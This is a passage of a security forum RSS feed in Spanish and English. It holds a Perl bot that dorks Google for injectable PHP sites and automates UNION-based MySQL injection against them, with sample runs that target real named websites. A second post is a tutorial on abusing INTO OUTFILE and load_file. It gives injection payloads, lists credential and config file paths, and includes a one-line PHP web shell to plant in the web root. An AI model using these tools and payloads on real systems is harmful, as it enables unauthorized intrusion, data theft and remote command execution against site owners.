		<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$error</span><span class="sy0">=~</span> <span class="co2">/mysql_fetch_/</span> <span class="sy0">||</span> <span class="re0">$error</span><span class="sy0">=~</span> <span class="co2">/You have an error in your SQL syntax/</span> <span class="sy0">||</span> <span class="re0">$error</span> <span class="sy0">=~</span> <span class="co2">/tem um erro de sintaxe no seu SQL/</span> <span class="sy0">||</span> <span class="re0">$error</span> <span class="sy0">=~</span> <span class="co2">/mysql_num_rows/</span> <span class="sy0">||</span> <span class="re0">$error</span> <span class="sy0">=~</span> <span class="co2">/Division by zero in/</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
		<a href="http://perldoc.perl.org/functions/push.html"><span class="kw3">push</span></a><span class="br0">&#40;</span><span class="re0">@victims</span><span class="sy0">,</span><span class="re0">$enlace</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
	  <span class="br0">&#125;</span>
    <span class="br0">&#125;</span>
<span class="br0">&#125;</span><span class="co1">#fin del for</span>
	tamanio<span class="sy0">:</span>
	<span class="re0">$opc</span><span class="sy0">=</span><span class="st0">&quot;&quot;</span><span class="sy0">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">@victims</span><span class="br0">&#41;</span><span class="br0">&#123;</span>			<span class="co1">#verifico si no esta vacio el arrays</span>
	  <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span>[+]Estas son las  posibles victimas:    (Detalle: * Marca de que el link ya se automatizo la inyecion)<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
	  <span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span><span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span><span class="re0">$i</span><span class="sy0">&lt;=</span><span class="re0">$#victims</span><span class="sy0">;</span><span class="re0">$i</span><span class="sy0">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	  <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[$i]$victims[$i]<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
	      <span class="br0">&#125;</span>   
	<span class="br0">&#125;</span><span class="kw1">else</span> <span class="br0">&#123;</span>
	  <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
	  <a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
	 <span class="br0">&#125;</span>
	<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a><span class="st0">&quot;<span class="es0">\n</span>[?]A cual desea automatizar la inyeccion. Eliga por el indice:&gt;&gt;&quot;</span><span class="sy0">;</span>
	<span class="re0">$opc</span><span class="sy0">.=</span><span class="re4">&lt;STDIN&gt;</span><span class="sy0">;</span>
	<a href="http://perldoc.perl.org/functions/chomp.html"><span class="kw3">chomp</span></a><span class="br0">&#40;</span><span class="re0">$opc</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$opc</span> <span class="sy0">&gt;</span> <span class="re0">$#victims</span> <span class="sy0">||</span> <span class="re0">$opc</span> <span class="sy0">&lt;</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[!] Error! fuera del rango del indice, Vuelva a intentar<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$sis</span> <span class="kw1">eq</span> <span class="st_h">'MSWin32'</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://perldoc.perl.org/functions/sleep.html"><span class="kw3">sleep</span></a><span class="br0">&#40;</span><span class="nu0">3</span><span class="br0">&#41;</span><span class="sy0">;</span>system<span class="br0">&#40;</span><span class="st0">&quot;cls&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span> <a href="http://perldoc.perl.org/functions/sleep.html"><span class="kw3">sleep</span></a><span class="br0">&#40;</span><span class="nu0">3</span><span class="br0">&#41;</span><span class="sy0">;</span> <a href="http://perldoc.perl.org/functions/system.html"><span class="kw3">system</span></a><span class="br0">&#40;</span><span class="st0">&quot;clear&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="br0">&#125;</span>
		<a href="http://perldoc.perl.org/functions/goto.html"><span class="kw3">goto</span></a> tamanio<span class="sy0">;</span>
	  <span class="br0">&#125;</span>
	<span class="re0">$victima</span><span class="sy0">=</span><span class="re0">$victims</span><span class="br0">&#91;</span><span class="re0">$opc</span><span class="br0">&#93;</span><span class="sy0">;</span>
	<span class="re0">$victims</span><span class="br0">&#91;</span><span class="re0">$opc</span><span class="br0">&#93;</span><span class="sy0">=</span><span class="re0">$victims</span><span class="br0">&#91;</span><span class="re0">$opc</span><span class="br0">&#93;</span><span class="sy0">.</span><span class="st0">&quot; *&quot;</span><span class="sy0">;</span><span class="co1"># Coloco al final el Asterisco</span>
	<span class="re0">$victima</span><span class="sy0">=~</span><a href="http://perldoc.perl.org/functions/s.html"><span class="kw3">s</span></a><span class="sy0">/</span><span class="br0">&#91;</span>a<span class="sy0">-</span>zA<span class="sy0">-</span>Z0<span class="sy0">-</span><span class="nu0">9</span>_\<span class="sy0">*</span>\<a href="http://perldoc.perl.org/functions/s.html"><span class="kw3">s</span></a><span class="br0">&#93;</span><span class="sy0">+</span><span class="co5">$/</span><span class="sy0">/</span>g<span class="sy0">;;</span><span class="co1">#dejo en blanco el ultimo parametro ($) para poder inyectar, inclusive los valores * y espacion en blanco con \s</span>
	<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[+]Empezando la automatizacion del la inyeccion.<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
	<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[!]Primer Paso: Intentar sacar numero de columnas para UNION<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
	<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[?]Maximo numero con cual intentar:&gt;&gt;&quot;</span><span class="sy0">;</span>
	<span class="re0">$column</span><span class="sy0">=</span><span class="re4">&lt;STDIN&gt;</span><span class="sy0">;</span>
	<a href="http://perldoc.perl.org/functions/chomp.html"><span class="kw3">chomp</span></a><span class="br0">&#40;</span><span class="re0">$column</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[?]elija comentario -- or /* :&gt;&gt;&quot;</span><span class="sy0">;</span>
	<span class="re0">$cfin</span><span class="sy0">=</span><span class="re4">&lt;STDIN&gt;</span><span class="sy0">;</span>
	<a href="http://perldoc.perl.org/functions/chomp.html"><span class="kw3">chomp</span></a><span class="br0">&#40;</span><span class="re0">$cfin</span><span class="br0">&#41;</span><span class="sy0">;</span>
	  <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$cfin</span> <span class="sy0">=~</span><span class="st0">&quot;--&quot;</span><span class="br0">&#41;</span><span class="br0">&#123;</span> 
	      <span class="re0">$cmn</span><span class="sy0">=</span><span class="st0">&quot;+&quot;</span>
	      <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span>
	      <span class="re0">$cmn</span><span class="sy0">=</span><span class="st0">&quot;/**/&quot;</span><span class="sy0">;</span>
	  <span class="br0">&#125;</span>
	<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span>[+]Search:&quot;</span><span class="sy0">;</span>      
	<span class="co1">#busqueda de Columnas</span>
	<span class="kw1">for</span> <span class="br0">&#40;</span><span class="re0">$col</span><span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span> <span class="re0">$col</span> <span class="sy0">&lt;=</span><span class="re0">$column</span><span class="sy0">;</span><span class="re0">$col</span><span class="sy0">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	     <span class="re0">$union</span><span class="sy0">.=</span><span class="st_h">','</span><span class="sy0">.</span><span class="st0">&quot;0x6d61676e6f62616c74&quot;</span><span class="sy0">;</span>
	     <span class="re0">$numero</span><span class="sy0">.=</span><span class="st_h">','</span><span class="sy0">.</span><span class="re0">$col</span><span class="sy0">;</span>
	      <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$col</span> <span class="sy0">==</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		      <span class="re0">$union</span><span class="sy0">=</span><span class="st_h">''</span><span class="sy0">;</span>
		      <span class="re0">$numero</span><span class="sy0">=</span><span class="st_h">''</span><span class="sy0">;</span>
		      <span class="br0">&#125;</span>
	     <span class="re0">$out</span><span class="sy0">=</span><span class="re0">$victima</span><span class="sy0">.</span><span class="st0">&quot;-1&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;UNION&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;SELECT&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;0x6d61676e6f62616c74&quot;</span><span class="sy0">.</span><span class="re0">$union</span><span class="sy0">.</span><span class="re0">$cfin</span><span class="sy0">;</span>
	     <span class="re0">$ua</span><span class="sy0">=</span> LWP<span class="sy0">::</span><span class="me2">UserAgent</span><span class="sy0">-&gt;</span><span class="me1">new</span><span class="br0">&#40;</span>agent <span class="sy0">=&gt;</span> <span class="st_h">'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'</span><span class="br0">&#41;</span><span class="sy0">;</span>
	     <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">timeout</span><span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span><span class="sy0">;</span>
	     <span class="re0">$response</span> <span class="sy0">=</span> <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">get</span><span class="br0">&#40;</span><span class="re0">$out</span><span class="br0">&#41;</span><span class="sy0">;</span>
	     <span class="re0">$verifica</span><span class="sy0">=</span><span class="re0">$response</span><span class="sy0">-&gt;</span><span class="me1">content</span><span class="sy0">;</span>
             <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$verifica</span> <span class="sy0">=~/</span>magnobalt<span class="sy0">/</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
		 <span class="re0">$col</span><span class="sy0">++;</span>
		 <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[+]La web posee $col<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		 <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[+]&quot;</span><span class="sy0">.</span><span class="re0">$victima</span><span class="sy0">.</span><span class="st0">&quot;-1&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;UNION&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;SELECT&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;0&quot;</span><span class="sy0">.</span><span class="re0">$numero</span><span class="sy0">.</span><span class="re0">$cfin</span><span class="sy0">.</span><span class="st0">&quot;<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		 <span class="co1">#buscando Information_schema</span>
		 <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[!]Segundo Paso: Verficando disponibilidad de Information_Schema<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		 <span class="re0">$out</span><span class="sy0">=</span><span class="re0">$victima</span><span class="sy0">.</span><span class="st0">&quot;-1&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;UNION&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;SELECT&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;0x6d61676e6f62616c74&quot;</span><span class="sy0">.</span><span class="re0">$union</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;FROM&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;information_schema.tables&quot;</span><span class="sy0">.</span><span class="re0">$cfin</span><span class="sy0">;</span><span class="co1">#busco information schema.</span>
		 <span class="re0">$ua</span><span class="sy0">=</span> LWP<span class="sy0">::</span><span class="me2">UserAgent</span><span class="sy0">-&gt;</span><span class="me1">new</span><span class="br0">&#40;</span>agent <span class="sy0">=&gt;</span> <span class="st_h">'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'</span><span class="br0">&#41;</span><span class="sy0">;</span>
		 <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">timeout</span><span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span><span class="sy0">;</span>
		 <span class="re0">$response</span> <span class="sy0">=</span> <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">get</span><span class="br0">&#40;</span><span class="re0">$out</span><span class="br0">&#41;</span><span class="sy0">;</span>
		 <span class="re0">$verifica</span><span class="sy0">=</span><span class="re0">$response</span><span class="sy0">-&gt;</span><span class="me1">content</span><span class="sy0">;</span>
		 <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$verifica</span><span class="sy0">=~/</span>magnobalt<span class="sy0">/</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		     <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[+]Information Schema Disponible<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		     <span class="br0">&#125;</span><span class="kw1">else</span> <span class="br0">&#123;</span>
		     <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[-]Information_Schema no Disponible<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		      <span class="br0">&#125;</span>
		 <span class="co1">#buscando Mysql.users</span>
		 <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[!]Tercer Paso: Verificando disponibilidad de de Mysql.users<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		 <span class="re0">$out</span><span class="sy0">=</span><span class="re0">$victima</span><span class="sy0">.</span><span class="st0">&quot;-1&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;UNION&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;SELECT&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;0x6d61676e6f62616c74&quot;</span><span class="sy0">.</span><span class="re0">$union</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;FROM&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;Mysql.users&quot;</span><span class="sy0">.</span><span class="re0">$cfin</span><span class="sy0">;</span>
		 <span class="re0">$ua</span><span class="sy0">=</span> LWP<span class="sy0">::</span><span class="me2">UserAgent</span><span class="sy0">-&gt;</span><span class="me1">new</span><span class="br0">&#40;</span>agent <span class="sy0">=&gt;</span> <span class="st_h">'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'</span><span class="br0">&#41;</span><span class="sy0">;</span>
		 <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">timeout</span><span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span><span class="sy0">;</span>
		 <span class="re0">$response</span> <span class="sy0">=</span> <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">get</span><span class="br0">&#40;</span><span class="re0">$out</span><span class="br0">&#41;</span><span class="sy0">;</span>
		 <span class="re0">$verifica</span><span class="sy0">=</span><span class="re0">$response</span><span class="sy0">-&gt;</span><span class="me1">content</span><span class="sy0">;</span>
		 <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$verifica</span><span class="sy0">=~/</span>magnobalt<span class="sy0">/</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		     <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[+]Mysql.users Disponible<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		     <span class="br0">&#125;</span><span class="kw1">else</span> <span class="br0">&#123;</span>
		     <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[-]Mysql.users no Disponible<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		      <span class="br0">&#125;</span>
                 <span class="co1">#verficando si esta corriendo como root</span>
		 <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[!]Cuarto Paso: Verificando si el usuario es root<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		 <span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$j</span> <span class="sy0">&lt;</span> <span class="re0">$col</span><span class="sy0">-</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		    <span class="re0">$root</span><span class="sy0">.=</span><span class="st_h">','</span><span class="sy0">.</span><span class="st0">&quot;concat(0x6d61676e6f62616c74,user())&quot;</span><span class="sy0">;</span>
		    <span class="re0">$j</span><span class="sy0">++;</span>
		  <span class="br0">&#125;</span>
		 <span class="re0">$out</span><span class="sy0">=</span><span class="re0">$victima</span><span class="sy0">.</span><span class="st0">&quot;-1&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;UNION&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;SELECT&quot;</span><span class="sy0">.</span><span class="re0">$cmn</span><span class="sy0">.</span><span class="st0">&quot;concat(0x6d61676e6f62616c74,user())&quot;</span><span class="sy0">.</span><span class="re0">$root</span><span class="sy0">.</span><span class="re0">$cfin</span><span class="sy0">;</span>
		 <span class="re0">$ua</span><span class="sy0">=</span> LWP<span class="sy0">::</span><span class="me2">UserAgent</span><span class="sy0">-&gt;</span><span class="me1">new</span><span class="br0">&#40;</span>agent <span class="sy0">=&gt;</span> <span class="st_h">'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'</span><span class="br0">&#41;</span><span class="sy0">;</span>
		 <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">timeout</span><span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span><span class="sy0">;</span>
		 <span class="re0">$response</span> <span class="sy0">=</span> <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">get</span><span class="br0">&#40;</span><span class="re0">$out</span><span class="br0">&#41;</span><span class="sy0">;</span>
		 <span class="re0">$verifica</span><span class="sy0">=</span><span class="re0">$response</span><span class="sy0">-&gt;</span><span class="me1">content</span><span class="sy0">;</span>
		 <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$verifica</span><span class="sy0">=~/</span>magnobaltroot<span class="sy0">@/</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		     <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[+]El usuario es root<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		     <span class="br0">&#125;</span><span class="kw1">else</span> <span class="br0">&#123;</span>
		     <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[-]El usuario no es root<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		      <span class="br0">&#125;</span>
		 seguir<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span>	      
&nbsp;
	     <span class="br0">&#125;</span> 
	 <span class="br0">&#125;</span>
	 <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[-]imposible encontrar numero de columnas<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
	 seguir<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></pre><br /><br /><b>Ejemplo</b><br />a) Aqui hacemos una busqueda y con un total de 3 paginas para google. Luego nos pide a cual automatizar la inyeccion mediante el indice, en este caso coloco 0. para que empieze a automatizar a la url <i>http://www.ibict.br/noticia.php?id=510</i><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong>a</strong><br/>
+++++++++++++++++++++++++++++++<br />+ Bot MySQL Search Google +<br />+ By MagnoBalt +<br />+++++++++++++++++++++++++++++++<br /><br />[?]Ingrese Parametro de Busqueda (ej: inurl:.php?id_noticia=: &gt;&gt; noticia.php?id=<br />[?]Total de paginas de busquedas en Google: &gt;&gt; 3<br /><br />[+]Search:<br /><br /><br />[+]Estas son las posibles victimas: (Detalle: * Marca de que el link ya se automatizo la inyecion)<br />[0]http://www.ibict.br/noticia.php?id=510<br />[1]http://www.museudelperfum.com/noticia.php?id=19&amp;lang=en<br />[2]http://madrid.cnt.es/noticia.php?id=118<br />[3]http://www.museudosesportes.com.br/noticia.php?id=1217<br />[4]http://www.ibict.br/noticia.php?id=512<br /><br />[?]A cual desea automatizar la inyeccion. Eliga por el indice:&gt;&gt;0</div></blockquote><br /><br />b) Aqui automatizamos la &quot;0&quot; como dijimos, luego nos pide el numero maximo con cual intentar el numero de columnas para UNION que fue &quot;15&quot;, y que tipo de comentario usar que en este caso eleji &quot;--&quot;. Nos imprimi la inyeccion con las dos columnas encontradas, y empieza a verificar si esta disponible Information_schema, luego Mysql.users, y por ultimo verifica si el usuario es root.<br /><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong>b</strong><br/>
[?]A cual desea automatizar la inyeccion. Eliga por el indice:&gt;&gt;0<br />[+]Empezando la automatizacion del la inyeccion.<br />[!]Primer Paso: Intentar sacar numero de columnas para UNION<br />[?]Maximo numero con cual intentar:&gt;&gt;15<br />[?]elija comentario -- or /* :&gt;&gt;--<br /><br />[+]Search:<br />[+]La web posee 2<br />[+]http://www.ibict.br/noticia.php?id=-1+UNION+SELECT+0,1--<br /><br />[!]Segundo Paso: Verficando disponibilidad de Information_Schema<br />[+]Information Schema Disponible<br />[!]Tercer Paso: Verificando disponibilidad de de Mysql.users<br />[-]Mysql.users no Disponible<br />[!]Cuarto Paso: Verificando si el usuario es root<br />[-]El usuario no es root<br />[?]Desea Seguir con otro enlace Y/N: &gt;&gt;</div></blockquote><br />c) En este caso seguimos inyectando, y fijense como en el enlace de indice &quot;0&quot;, nos coloca un * avisandonos que ese ya se intento una vez la automatizacion de la inyeccion. Podriamos seguir intentandolo en el caso de que el comentario &quot;--&quot;, no funcione e intentar con &quot;/*&quot;. y en el caso tendriamos otro *. (* tantas veces probemos el link)<br /><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong>c</strong><br/>
[?]Desea Seguir con otro enlace Y/N: &gt;&gt;y<br /><br />[+]Estas son las posibles victimas: (Detalle: * Marca de que el link ya se automatizo la inyecion)<br />[0]http://www.ibict.br/noticia.php?id=510 *<br />[1]http://www.museudelperfum.com/noticia.php?id=19&amp;lang=en<br />[2]http://madrid.cnt.es/noticia.php?id=118<br />[3]http://www.museudosesportes.com.br/noticia.php?id=1217<br />[4]http://www.ibict.br/noticia.php?id=512<br /><br />[?]A cual desea automatizar la inyeccion. Eliga por el indice:&gt;&gt;</div></blockquote><br />Bueno saludos y gracias a todos.<br />Un abrazo]]></description>
<dc:creator>MagnoBalt</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Tue, 08 Sep 2009 14:15:29 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,3879,3879#msg-3879</guid>
<title>INTO OUTFILE (Mysql) (no replies)</title><link>https://foro.undersecurity.net/read.php?5,3879,3879#msg-3879</link><description><![CDATA[<pre class="bbcode">
o00000000000000000000000000000000000000000000000000000o [!] Paper about:
8                            .o8                      8     INTO OUTFILE (Mysql)
8                           &quot;888                      8 [!] Athor: xados  
8 oooo    ooo  .oooo.    .oooo888   .ooooo.   .oooo.o 8 [!] Contact:
8  `88b..8P'  `P  )88b  d88' `888  d88' `88b d88(  &quot;8 8     xados@hotmail.it
8    Y888'     .oP&quot;888  888   888  888   888 `&quot;Y88b.  8 [!] Thnaks to:
8  .o8&quot;'88b   d8(  888  888   888  888   888 o.  )88b 8     Johannes Dahse      
8 o88'   888o `Y888&quot;&quot;8o `Y8bod88P&quot; `Y8bod8P' 8&quot;&quot;888P' 8     becouse this  
8                                                     8     paper is from
8                                                     8     his mind.
o00000000000000000000000000000000000000000000000000000o        ~  ~  ~

[+1] The FILE privilege

If we want to read or write to files we have to have the FILE privilege.
First see wich user we are in db with code:

0′ UNION SELECT current_user,null /*

you can put current_user or user() or system_user

This will give us the username@server. //(normally ..@localhost)

*
You can also use the following blind SQL injections query,
but it's very booring.. :

Guess a name:
1′ AND user() LIKE ‘root
Brute the name letter by letter:
1′ AND MID((user()),1,1)&gt;’m
1′ AND MID((user()),2,1)&gt;’m
1′ AND MID((user()),3,1)&gt;’m ecc...

Now we must acces to mysql.user so..

0′ UNION SELECT 1,2,3,file_priv,4 FROM mysql.user WHERE user = ‘username

for username we put the name of current_user.
You can also have a look at the whole mysql.user table without the WHERE clause, but I chose this way because you can easily adapt the injection for blind SQL injection:

1′ AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y

Naturally, this it's a blind so yuo can't write 1,2,3.. becouse it's not a union select. (but it's subselects )

You can also recieve the FILE privilege info from the information.schema table on MySQL 5:

0′ UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%

Like IN blind sqli:

1′ AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y


[+2] The web directory problem

Once we know if we can read/write files we have to check out the right path. In the most cases the MySQL server is running on the same machine as the webserver does and to access our files later we want to write them onto the web directory. If you define no path, INTO OUTFILE will write into the database directory.

On MySQL 4 we can get an error message displaying the datadir:
0′ UNION SELECT load_file(’a'),null/*

On MySQL 5 we use:
0′ UNION SELECT @@datadir,null/*

The default path for file writing then is datadir\databasename.
You can figure out the databasename with:
0′ UNION SELECT database(),null/*

Now these information are hard to get with blind SQL injection. But you don’t need them necessarily. Just make sure you find out the web directory and use some ../ to jump back from the datadir.

If you are lucky the script uses mysql_result(), mysql_free_result(), mysql_fetch_row() or similar functions and displays warning messages. Then you can easily find out the webserver directory by leaving those functions with no input that they will throw a warning message like:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /web/server/path/file.php on line xxx

To provoke an error like this try something like:
0′ AND 1=’0 or add some like param[]=1

This works at the most websites. If you’re not lucky you have to guess the web directory or try to use load_file() to fetch files on the server which might help you. Here is a new list of possible locations for the Apache configuration file, which may spoil the webdirectory path:

/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include

Check out the webservers name first by reading the header info and then figure out where it usually stores its configuration files. This also depends on the OS type (*nix/win) so you may want to check that out too. Use @@version or version() to find that out:
0′ UNION SELECT @@version,null /*
-nt-log at the end means it’s a windows box, -log only means it’s *nix box.
Or take a look at the paths in error messages or at the header.

Typical web directories to guess could be:

/var/www/root/
/var/www/dbname/path/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
..


Basically you should be allowed to write into any directory where the MySQL server has write access to, as long as you have the FILE privilege. However, an Administrator can limit the path for public write access.

[+3] create useful files

Once you figured out the right directory you can select data and write it into a file with:

0′ UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/path/file.txt

( sometimes from mysql.user )
Or the whole data without knowing the table/column names:

1′ OR 1=1 INTO OUTFILE ‘../../web/path/file.txt

If you want to avoid splitting chars between the data, use INTO DUMPFILE instead of INTO OUTFILE.

You can also combine load_file() with into outfile, like putting a copy of a file to the accessable webspace:

0′ AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…

In some cases I’d recommend to use

0′ AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…

and decrypt it later with the PHP Charset Encoder, especially when reading the MySQL data files.

Or you can write whatever you want into a file:

0′ AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php

Here are some useful code examples:

A Normal code for a shell (PHP):

&lt;? system($_GET['lol']); ?&gt;

it's very important that the PHP safe_mode must be turned off!!. 
If is turned on maybe we can bypass symple with a hex converter:

we can convert the code for bypass MAGIC_QUOTES_GPC filter.
